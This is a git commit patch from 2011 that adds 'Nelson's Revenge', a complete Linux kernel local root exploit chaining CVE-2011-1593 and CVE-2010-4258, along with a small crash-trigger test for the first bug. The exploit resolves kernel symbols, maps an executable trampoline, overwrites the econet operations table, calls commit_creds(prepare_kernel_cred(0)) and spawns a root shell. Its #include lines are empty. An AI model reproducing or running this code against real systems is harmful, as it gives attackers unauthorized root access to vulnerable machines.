From e8fc3aca4223c6252699f7dbccfe4d91a7c2e3bd Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Wed, 20 Apr 2011 17:24:57 -0400 Subject: Pidmap deref in the exploit. --- CVE-2011-1593_test.c | 29 ------ pidmap_test.c | 29 ++++++ with-CVE-2011-1593-on-econet.c | 214 +++++++++++++++++++++++++++++++++++++++++ 3 files changed, 243 insertions(+), 29 deletions(-) delete mode 100644 CVE-2011-1593_test.c create mode 100644 pidmap_test.c create mode 100644 with-CVE-2011-1593-on-econet.c diff --git a/CVE-2011-1593_test.c b/CVE-2011-1593_test.c deleted file mode 100644 index f320b85..0000000 --- a/CVE-2011-1593_test.c +++ /dev/null @@ -1,29 +0,0 @@ -// Found by Tavis Ormandy -// Implementation by Robert ?wi?cki - -#define _GNU_SOURCE 1 -#define _LARGEFILE64_SOURCE -#include -#include -#include -#include -#include -#include - -int main(void) -{ - int fd = open("/proc", O_DIRECTORY | O_RDONLY); - if (fd == -1) { - perror("[-] Could not open /proc"); - return -1; - } - struct linux_dirent { - long d_ino; - off_t d_off; - unsigned short d_reclen; - char d_name[]; - }; - lseek64(fd, 4000000000ULL, SEEK_SET); - struct linux_dirent b[100]; - syscall(__NR_getdents, fd, b, sizeof(b)); -} diff --git a/pidmap_test.c b/pidmap_test.c new file mode 100644 index 0000000..f320b85 --- /dev/null +++ b/pidmap_test.c @@ -0,0 +1,29 @@ +// Found by Tavis Ormandy +// Implementation by Robert ?wi?cki + +#define _GNU_SOURCE 1 +#define _LARGEFILE64_SOURCE +#include +#include +#include +#include +#include +#include + +int main(void) +{ + int fd = open("/proc", O_DIRECTORY | O_RDONLY); + if (fd == -1) { + perror("[-] Could not open /proc"); + return -1; + } + struct linux_dirent { + long d_ino; + off_t d_off; + unsigned short d_reclen; + char d_name[]; + }; + lseek64(fd, 4000000000ULL, SEEK_SET); + struct linux_dirent b[100]; + syscall(__NR_getdents, fd, b, sizeof(b)); +} diff --git a/with-CVE-2011-1593-on-econet.c b/with-CVE-2011-1593-on-econet.c new file mode 100644 index 0000000..ea636ae --- /dev/null +++ b/with-CVE-2011-1593-on-econet.c @@ -0,0 +1,214 @@ +/* + * Nelson's Revenge + * by zx2c4 + * + * This exploits two kernel bugs - + * CVE-2011-1593 to generate an oops, and more importantly, + * CVE-2010-4258 to overwrite kernel memory, in this case, econet. + * + * Based on Dan Rosenberg's Full Nelson exploit: + * http://www.exploit-db.com/exploits/15704/ + * + */ + +#define _GNU_SOURCE 1 +#define _LARGEFILE64_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// How many bytes should we clear in our function pointer to put it into userspace? +#ifdef __x86_64__ +#define SHIFT 24 +#define OFFSET 3 +#else +#define SHIFT 8 +#define OFFSET 1 +#endif + +// Symbol resolver from spender +unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while (ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, "\t[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +static int __attribute__((regparm(3))) +getroot(void *file, void *vma) +{ + commit_creds(prepare_kernel_cred(0)); + return -1; +} + +// Why do I do this? Because on x86-64, the address of +// commit_creds and prepare_kernel_cred are loaded relative +// to rip, which means I can't just copy the above payload +// into my landing area. +void __attribute__((regparm(3))) +trampoline() +{ +#ifdef __x86_64__ + asm("mov $getroot, %rax; call *%rax;"); +#else + asm("mov $getroot, %eax; call *%eax;"); +#endif +} + +// This should trigger a NULL pointer dereference under KERNEL_DS +int trigger() +{ + int fd = open("/proc", O_DIRECTORY | O_RDONLY); + if (fd == -1) { + perror("[-] Could not open /proc"); + exit(-1); + } + struct linux_dirent { + long d_ino; + off_t d_off; + unsigned short d_reclen; + char d_name[]; + }; + lseek64(fd, 4000000000ULL, SEEK_SET); + struct linux_dirent b[100]; + syscall(__NR_getdents, fd, b, sizeof(b)); + + // Shouldn't get here... + exit(0); +} + +int main(int argc, char * argv[]) +{ + unsigned long ops_table, vuln_function, target, landing; + void *newstack; + + int econet = socket(PF_ECONET, SOCK_DGRAM, 0); + if (econet < 0) { + printf("[-] Failed to create econet socket.\n"); + return -1; + } + + // Resolve addresses of relevant symbols + printf("[+] Resolving kernel addresses...\n"); + // Although this exploit does not take advantage of prior econet holes, + // we still choose to overwrite the econet functions, as they're obscure enough. + vuln_function = get_kernel_sym("econet_ioctl"); + ops_table = get_kernel_sym("econet_ops"); + commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); + if(!vuln_function || !commit_creds || !prepare_kernel_cred || !ops_table) { + printf("[-] Failed to resolve kernel symbols.\n"); + return -1; + } + + printf("[+] Allocating new stack memory...\n"); + if(!(newstack = malloc(65536))) { + printf("[-] Failed to allocate memory.\n"); + return -1; + } + + printf("[+] Calculating target...\n"); + target = ops_table + 10 * sizeof(void *) - OFFSET; + // Clear the higher bits + landing = vuln_function << SHIFT >> SHIFT; + + printf("[+] Mmaping memory...\n"); + if (mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) < 0) { + printf("[-] Failed to mmap() at target address.\n"); + return -1; + } + + printf("[+] Copying trampoline...\n"); + memcpy((void*)landing, &trampoline, 1024); + + printf("[+] Starting trigger thread clone...\n"); + clone((int (*)(void*))trigger, (void*)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, NULL, NULL, target); + sleep(1); + + printf("[+] Triggering payload...\n"); + ioctl(econet, 0, NULL); + + if (getuid()) { + printf("[-] Exploit failed to get root.\n"); + return -1; + } + printf("[+] Got root!\n"); + execl("/bin/sh", "/bin/sh", NULL); +} -- cgit v1.2.3-59-g8ed1b